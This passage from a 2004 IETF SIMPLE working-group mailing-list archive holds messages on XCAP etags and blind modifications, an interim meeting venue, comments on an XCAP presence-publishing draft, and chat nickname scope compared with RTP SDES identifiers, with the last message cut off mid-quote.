	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8Rjk-0006WI-ML
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:36 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2378eLl004300
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 02:08:40 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyQUi-00016o-6f
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 02:08:40 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA17241
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 02:08:37 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyQUe-0005kC-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 02:08:36 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyQTT-0005UZ-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 02:07:24 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyQSJ-0005CE-00; Wed, 03 Mar 2004 02:06:11 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyQSD-00087u-2s; Wed, 03 Mar 2004 02:06:05 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyQRx-00082P-VI
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 02:05:50 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA13763
	for <simple@ietf.org>; Wed, 3 Mar 2004 02:05:47 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyQRu-00052o-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:05:46 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyQQo-0004or-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:04:39 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyQPm-0004cw-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:03:34 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2373YZ19854
	for <simple@ietf.org>; Wed, 3 Mar 2004 09:03:34 +0200 (EET)
X-Scanned: Wed, 3 Mar 2004 09:03:26 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i2373Qof010554
	for <simple@ietf.org>; Wed, 3 Mar 2004 09:03:26 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks002.ntc.nokia.com 00TrfTEz; Wed, 03 Mar 2004 09:03:25 EET
Received: from esebh001.NOE.Nokia.com (esebh001.ntc.nokia.com [172.21.138.28])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2373P721270
	for <simple@ietf.org>; Wed, 3 Mar 2004 09:03:25 +0200 (EET)
Received: from mgw.research.nokia.com ([172.21.33.76]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 09:03:21 +0200
Received: from xitami.research.nokia.com (xitami.research.nokia.com [172.21.40.110])
	by mgw.research.nokia.com (8.9.3/8.9.3) with ESMTP id JAA04584;
	Wed, 3 Mar 2004 09:03:33 +0200 (EET)
Subject: Re: [Simple] Etags issue in XCAP
From: Jari Urpalainen <Jari.Urpalainen@nokia.com>
To: "ext Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
Cc: simple@ietf.org
In-Reply-To: <40452ED0.9090206@nokia.com>
References: <40452ED0.9090206@nokia.com>
Content-Type: text/plain
Message-Id: <1078297400.14408.12.camel@xitami.research.nokia.com>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.5 
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 03 Mar 2004 07:03:21.0064 (UTC) FILETIME=[9CC54680:01C400ED]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 09:03:20 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

On Wed, 2004-03-03 at 03:03, ext Niemi Aki (Nokia-M/Espoo) wrote:
> Hi,
> 
> Currently etags are returned for all elements in the XCAP tree. Although
> they may be scoped in an application specific manner, I think we need to
> also allow for a case where for a particular element the XCAP server
> never returns an etag. This is because there may be elements for which
> it doesn't matter what the original content was when adding/deleting.
> 
> For example, in the CPCP application usage, the <conference-info>
> element contains a <subject> element that describes the current topic of
> the conference. There is really no need to care what the original topic
> was if a user with appropriate rights wants to change it. So instead of
>    having to first GET it, and receive an etag, the user would "blindly"
> PUT a <subject> with a new value without using the If-Match precondition.
> 
> This would be especially useful for elements that may be relatively
> large. Having to GET the content before any changes to it can be made
> may result in starvation of a client behind a low speed link. I.e., the
> etag that the client finally receives is already invalidated by 
> concurrent updates from clients behind faster links.
> 
> For example, in the CPCP ACL element, again a client is only interested
> in adding or expelling a particular user. It doesn't care what the
> original contents of the ACL was. It would be OK just to blindly add or
> delete a matching element.
> 
> So my proposal is that in addition to defining the scope of returned
> etags, an XCAP application usage can also define for which elements no
> etags are ever returned. A client that receives a document without the
> ETag header field would know that this document (element) allows for
> blind modifications.
> 
> How does this sound?
> 
> Cheers,
> Aki

As in rfc2616 "If-Match: *" is allowed it would IMHO do the trick.

BR, 
Jari


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 17:39:42 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA18763
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 17:39:42 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8Rjk-0006ZK-MU
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:36 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2MKQo7M021322
	for simple-archive@odin.ietf.org; Mon, 22 Mar 2004 15:26:50 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5W0Y-0005Xp-R2
	for simple-web-archive@optimus.ietf.org; Mon, 22 Mar 2004 15:26:50 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18525
	for <simple-web-archive@ietf.org>; Mon, 22 Mar 2004 15:26:48 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5W0X-0006FH-00
	for simple-web-archive@ietf.org; Mon, 22 Mar 2004 15:26:49 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5Vza-00066t-00
	for simple-web-archive@ietf.org; Mon, 22 Mar 2004 15:25:51 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Vyh-00060J-00; Mon, 22 Mar 2004 15:24:55 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5Vxp-0004w0-5r; Mon, 22 Mar 2004 15:24:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5IiT-0000Wl-JB
	for simple@optimus.ietf.org; Mon, 22 Mar 2004 01:15:17 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA22194
	for <simple@ietf.org>; Mon, 22 Mar 2004 01:15:15 -0500 (EST)
From: john.loughney@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5IiQ-00013x-00
	for simple@ietf.org; Mon, 22 Mar 2004 01:15:14 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5IhZ-0000y9-00
	for simple@ietf.org; Mon, 22 Mar 2004 01:14:21 -0500
Received: from mgw-x3.nokia.com ([131.228.20.26])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Igu-0000sF-00; Mon, 22 Mar 2004 01:13:40 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x3.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2M6DWa00638;
	Mon, 22 Mar 2004 08:13:33 +0200 (EET)
X-Scanned: Mon, 22 Mar 2004 08:12:52 +0200 Nokia Message Protector V1.3.21 2004031416 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i2M6Cq6b029537;
	Mon, 22 Mar 2004 08:12:52 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks004.ntc.nokia.com 00sFIAxO; Mon, 22 Mar 2004 08:12:50 EET
Received: from esebh004.NOE.Nokia.com (esebh004.ntc.nokia.com [172.21.138.84])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2M6CoF24951;
	Mon, 22 Mar 2004 08:12:50 +0200 (EET)
Received: from esebe023.NOE.Nokia.com ([172.21.138.115]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Mon, 22 Mar 2004 08:12:50 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Message-ID: <DADF50F5EC506B41A0F375ABEB320636D44C81@esebe023.ntc.nokia.com>
Thread-Topic: [Sipping] Proposed dates for SIPish interim meetings
Thread-Index: AcQP0JavsE9u3JRIR/uMImRMIVWINwAA3svQ
To: <dean.willis@softarmor.com>, <sipping@ietf.org>
Cc: <gparsons@nortelnetworks.com>, <sip@ietf.org>, <simple@ietf.org>
X-OriginalArrivalTime: 22 Mar 2004 06:12:50.0621 (UTC) FILETIME=[B4559ED0:01C40FD4]
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] RE: [Sipping] Proposed dates for SIPish interim meetings
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 22 Mar 2004 08:12:50 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Dean,

> As I understand it, the leading candidate for venue is the Boulderama =
in=20
> Boulder, Colorado. Rohan's current proposal is to ask each attendee to =

> contribute $50 toward meeting fees (princiaplly, renting the room). Of =

> course, if somebody wants to sponsor the meeting and pick up the

Is there an option of someone hosting the meeting?  This is probably
easier to do than finding someone to foot the bill.  =09

Also, Boulder is 3 to 4 hops away from Europe, which seems sub-optimal =
...

John


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 17:40:32 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA18845
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 17:40:32 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8Rjk-0006WI-Sw
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:36 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2387D3s006469
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 03:07:13 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyRPL-0001eQ-1t
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 03:07:11 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA09370
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 03:06:28 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyROd-0001Cj-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 03:06:27 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyRNV-0000yb-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 03:05:17 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRMU-0000lK-00; Wed, 03 Mar 2004 03:04:14 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyRMO-0000ys-Cl; Wed, 03 Mar 2004 03:04:08 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyRLq-0000k2-Mo
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 03:03:39 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA09093
	for <simple@ietf.org>; Wed, 3 Mar 2004 03:03:11 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRLS-0000Y2-00
	for simple@ietf.org; Wed, 03 Mar 2004 03:03:10 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyRKW-0000J0-00
	for simple@ietf.org; Wed, 03 Mar 2004 03:02:12 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRJI-0007j9-00
	for simple@ietf.org; Wed, 03 Mar 2004 03:00:56 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2380th09212;
	Wed, 3 Mar 2004 10:00:55 +0200 (EET)
X-Scanned: Wed, 3 Mar 2004 10:00:52 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i2380qPq013884;
	Wed, 3 Mar 2004 10:00:52 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 009I5Qb6; Wed, 03 Mar 2004 10:00:51 EET
Received: from esebh001.NOE.Nokia.com (esebh001.ntc.nokia.com [172.21.138.28])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2380i706467;
	Wed, 3 Mar 2004 10:00:44 +0200 (EET)
Received: from esebh005.NOE.Nokia.com ([172.21.138.86]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 10:00:44 +0200
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh005.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 10:00:43 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] RE: Comments on draft-isomaki-simple-xcap-publish-usage-00
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB701797823@esebe019.ntc.nokia.com>
Thread-Topic: Comments on draft-isomaki-simple-xcap-publish-usage-00
Thread-Index: AcQAuUzVZkCMOxxhRMaNytt24+iVlQAABi2AAA6bP+A=
To: <Markus.Isomaki@nokia.com>, <george.foti@ericsson.com>, <simple@ietf.org>
X-OriginalArrivalTime: 03 Mar 2004 08:00:43.0873 (UTC) FILETIME=[A0D83D10:01C400F5]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 10:00:43 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Comments using <hisham>

-----Original Message-----
From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
Sent: 03 March, 2004 02:47
To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
Subject: Comments on draft-isomaki-simple-xcap-publish-usage-00




Hi Markus,=20
I have some comments on your draft:=20
1) Although you indicate that this should be used only for hard states, =
what is there to prevent users from manipulating other presence states =
in there through XCAP.

<hisham> Also, there is no xcap document nor uri for the other presence =
states published using PUBLISH to enable such thing as you (George) =
suggests.

2) XCAP is meant to be used for documents that are created to take =
advantage of the defined XCAP rules for HTTP URI creation. Which XML =
presence documents in particular are you proposing that they get =
manipulated by XCAP. =20

<hisham> PIDF.

How do you ensure that the current XCAP rules are suffiicient for the =
purpose you have in mind. I also doubt that you can use the current XML =
presence documents (PIDF and extensions) for XCAP purposes as is. For =
example, should there not be the element mandatory-ns, in there, as per =
the XCAP framework.

<hisham> I think mandatory-ns is optional. If not, we can create one for =
PIDF.

/Hisham

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 17:40:42 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA18895
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 17:40:42 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8Rjk-0006ZK-Eh
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:36 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i1Q79fic015033
	for simple-archive@odin.ietf.org; Thu, 26 Feb 2004 02:09:41 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AwFeP-0003tp-1i
	for simple-web-archive@optimus.ietf.org; Thu, 26 Feb 2004 02:09:41 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA21224
	for <simple-web-archive@ietf.org>; Thu, 26 Feb 2004 02:09:37 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AwFeK-0000K9-00
	for simple-web-archive@ietf.org; Thu, 26 Feb 2004 02:09:36 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AwFdJ-0000Dg-00
	for simple-web-archive@ietf.org; Thu, 26 Feb 2004 02:08:34 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AwFcw-00008E-00; Thu, 26 Feb 2004 02:08:10 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AwFcr-00032E-9K; Thu, 26 Feb 2004 02:08:05 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AwFcD-0002io-7S
	for simple@optimus.ietf.org; Thu, 26 Feb 2004 02:07:25 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA18400
	for <simple@ietf.org>; Thu, 26 Feb 2004 02:07:22 -0500 (EST)
From: Miguel.An.Garcia@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AwFc9-00006k-00
	for simple@ietf.org; Thu, 26 Feb 2004 02:07:21 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AwFbE-00001Y-00
	for simple@ietf.org; Thu, 26 Feb 2004 02:06:26 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AwFak-0007kY-00
	for simple@ietf.org; Thu, 26 Feb 2004 02:05:54 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i1Q75mt15514;
	Thu, 26 Feb 2004 09:05:48 +0200 (EET)
X-Scanned: Thu, 26 Feb 2004 09:05:46 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i1Q75kFd013015;
	Thu, 26 Feb 2004 09:05:46 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks004.ntc.nokia.com 001VQxMU; Thu, 26 Feb 2004 09:05:44 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i1Q75h702123;
	Thu, 26 Feb 2004 09:05:43 +0200 (EET)
Received: from esebe006.NOE.Nokia.com ([172.21.138.46]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 26 Feb 2004 09:05:43 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] Chat sessions
Message-ID: <357AEC66DB509A4EA46CB85D7968B6AF467542@esebe006.ntc.nokia.com>
Thread-Topic: [Simple] Chat sessions
Thread-Index: AcP701Vzbjz+zr1tR9aTckD5k5UoAwAYZhfw
To: <jdrosen@dynamicsoft.com>, <pkyzivat@cisco.com>
Cc: <hisham.khartabil@nokia.com>, <simple@ietf.org>, <aki.niemi@nokia.com>
X-OriginalArrivalTime: 26 Feb 2004 07:05:43.0133 (UTC) FILETIME=[F2F8C8D0:01C3FC36]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 26 Feb 2004 09:05:27 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Jonathan:

Thanks for the review. I basically agree with your comments. I got =
enough comments as for to figure out how to progress this item. I also =
noticed that Paul agrees with you, so we are becoming closer to =
consensus.

A couple of comments though:

>RTP defines the scope of these nicknames as bound to a session, and =
does=20
>not require uniqueness. Thats a bit different than what is being=20
>proposed here.

I don't think RTP nickname scope is incompatible with the proposal in =
the draft. We are proposing a more restrictive allocation and management =
scheme that fulfills the RTP requirements for a nickname to be bound to =
a session.

Jonathan also mentioned:

>Note that we have always had a problem with SSRC/CNAME that there was =
no=20
>easy way to map them to a SIP URI that could be used for signaling. =
That=20
>is, the CNAME is not necessarily the SIP URI that one would want to use =

>to contact the user. For example, if I'm in a conference and I want to=20
>have a private call with a user, outside of the conference, what SIP =
URI=20
>to use?

This is a problem we are not addressing in our document, and I would =
consider that we have the means to solve it today with presence, private =
instant messages, etc. that can carry the URI of the two participants. =
It is desirable that mapping of the SSRC/CNAME to SIP URIs will take =
place in the conference server (mixer, I believe), to fulfill the =
privacy requirements of those users that don't want to expose their SIP =
URI.

/Miguel


> -----Original Message-----
> From: ext Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
> Sent: 25 February, 2004 21:11
> To: Paul Kyzivat
> Cc: Khartabil Hisham (Nokia-TP-MSW/Helsinki); Garcia Miguel.An
> (Nokia-NRC/Helsinki); simple@ietf.org; Niemi Aki (Nokia-M/Espoo)
> Subject: Re: [Simple] Chat sessions
>=20
>=20
>=20
> To answer this question, in RTP, the SSRC is used for identification.=20
> The SSRC is mapped to a name through the RTCP SDES packets,=20
> which come=20
> every once in a while, and bind the SSRC to a CNAME. The=20
> CNAME can also=20
> be associated with supplementary data, such as the NAME=20
> parameter, which=20
> basically provides a nickname. Its described in RFC3500 thusly:
>=20
> > 6.5.2 NAME: User Name SDES Item
> >=20
> >     0                   1                   2                   3
> >     0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
> >    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
> >    |     NAME=3D2    |     length    | common name of source       =
...
> >    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
> >=20
> >    This is the real name used to describe the source, e.g.,=20
> "John Doe,
> >    Bit Recycler".  It may be in any form desired by the user.  For
> >    applications such as conferencing, this form of name may=20
> be the most
> >    desirable for display in participant lists, and=20
> therefore might be
> >    sent most frequently of those items other than CNAME. =20
> Profiles MAY
> >    establish such priorities.  The NAME value is expected to remain
> >    constant at least for the duration of a session.  It=20
> SHOULD NOT be
> >    relied upon to be unique among all participants in the session.
>=20
>=20
> I see the IM nickname as being equivalent; an in-band=20
> identifier of the=20
> user name.
>=20
> RTP defines the scope of these nicknames as bound to a=20
> session, and does=20
> not require uniqueness. Thats a bit different than what is being=20
> proposed here.
>=20
> Note that we have always had a problem with SSRC/CNAME that=20
> there was no=20
> easy way to map them to a SIP URI that could be used for=20
> signaling. That=20
> is, the CNAME is not necessarily the SIP URI that one would=20
> want to use=20
> to contact the user. For example, if I'm in a conference and=20
> I want to=20
> have a private call with a user, outside of the conference,=20
> what SIP URI=20
> to use?
>=20
> I also agree with comments raised by Brian and others that=20
> requirements=20
> for management of nicknames - creation, deletion, and scope - are not=20
